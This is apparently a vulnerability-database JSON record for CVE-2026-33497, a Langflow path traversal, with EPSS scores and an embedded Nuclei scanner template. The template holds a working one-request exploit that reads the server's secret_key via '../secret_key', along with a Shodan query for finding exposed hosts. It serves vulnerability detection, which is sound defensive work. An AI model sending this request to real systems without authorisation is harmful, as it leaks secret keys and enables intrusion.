{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-33497/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-33497/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-33497/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-33497/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-33497/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-33497"},"sightings":{"href":"/api/v1/sightings/cve-2026-33497"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.19584,"kev":false,"percentile":0.97265},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-33497.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-33497\n\ninfo:\n  name: Langflow < 1.7.0 - Path Traversal\n  author: xtr0nix\n  severity: high\n  description: |\n    Langflow < 1.7.1 contains a path traversal caused by insufficient filtering of folder_name and file_name parameters in download_profile_picture endpoint, letting attackers read secret_key across directories, exploit requires crafted request.\n  impact: |\n    Attackers can read sensitive secret_key files across directories, potentially compromising system security.\n  remediation: |\n    Update to version 1.7.1 or later.\n  reference:\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-ph9w-r52h-28p7\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33497\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-33497\n    epss-score: 0.19584\n    epss-percentile: 0.97265\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"Langflow\"\n  tags: cve,cve2026,langflow,traversal,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/files/profile_pictures/../secret_key\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - len(body) == 43\n          - status_code == 200\n          - contains(content_type, 'application/octet-stream')\n        condition: and\n# digest: 4a0a00473045022013d73de03163a1b8224d998fa606ca53444a9981c79325fc37c529044f2a1192022100a2c4aeb63fa515e8d855124c62810bfefd027b37c2269bb3a780590a50ce631e:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-33497"}